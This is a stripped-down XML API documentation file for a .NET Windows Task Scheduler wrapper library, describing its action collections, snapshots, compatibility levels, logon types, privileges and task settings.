of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the 